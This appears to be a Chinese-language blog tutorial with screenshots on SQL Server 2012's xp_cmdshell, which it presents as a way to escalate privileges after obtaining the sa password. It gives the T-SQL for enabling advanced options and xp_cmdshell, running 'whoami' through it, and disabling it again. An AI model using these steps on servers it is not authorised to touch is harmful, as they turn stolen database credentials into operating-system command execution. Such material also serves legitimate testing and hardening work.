xp_cmdshell是Sql Server中的一个组件,可以用来执行系统命令
在拿到sa口令之后,经常可以通过xp_cmdshell来进行提权
在这里以Windows Server 2012 和 Sql Server 2012为例进行测试
1.查看xp_cmdshell状态
首先通过管理工具来查看xp_cmdshell状态
右击实例名->方面
![](https://img.haomeiwen.com/i9144690/30adc0a4cb9dd257.png)
选择外围应用配置器
![](https://img.haomeiwen.com/i9144690/9caaca798d38fc80.png)
可以看到现在的xp_cmdshell是关闭状态
![](https://img.haomeiwen.com/i9144690/4e2f43a5bf7022da.png)
然后我们通过sql指令来查看是否存在xp_cmdshell
右击数据库,新建查询,执行以下命令
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
![](https://img.haomeiwen.com/i9144690/45a488913a1f0827.png)
可以看到返回结果是1
2.开启xp_cmdshell
命令如下
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
GO
![](https://img.haomeiwen.com/i9144690/72d09e7cfdf3ea4f.png)
可以看到报错提示xp_cmdshell不存在也可能是高级选项
前面已经通过命令查询存在xp_cmdshell组件,那只可能是高级选项
通过命令开启允许编辑高级选项,命令如下
EXEC sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
![](https://img.haomeiwen.com/i9144690/445159ac335bac69.png)
然后再去开启xp_cmdshell
![](https://img.haomeiwen.com/i9144690/b251d4c1842632a6.png)
3.通过xp_cmdshell执行系统命令
通过xp_cmdshell执行系统命令指令如下
master..xp_cmdshell 'whoami'
![](https://img.haomeiwen.com/i9144690/c42208074804afff.png)
4.关闭xp_cmdshell
和刚才一样,只不过需要把1改为0
EXEC sp_configure 'xp_cmdshell', 0
GO
RECONFIGURE
GO
![](https://img.haomeiwen.com/i9144690/a854d3131542139b.png)
同样,关闭高级选项编辑也是
EXEC sp_configure 'show advanced options', 0
GO
RECONFIGURE
GO
![](https://img.haomeiwen.com/i9144690/b19ba0c76128cd6f.png)
网友评论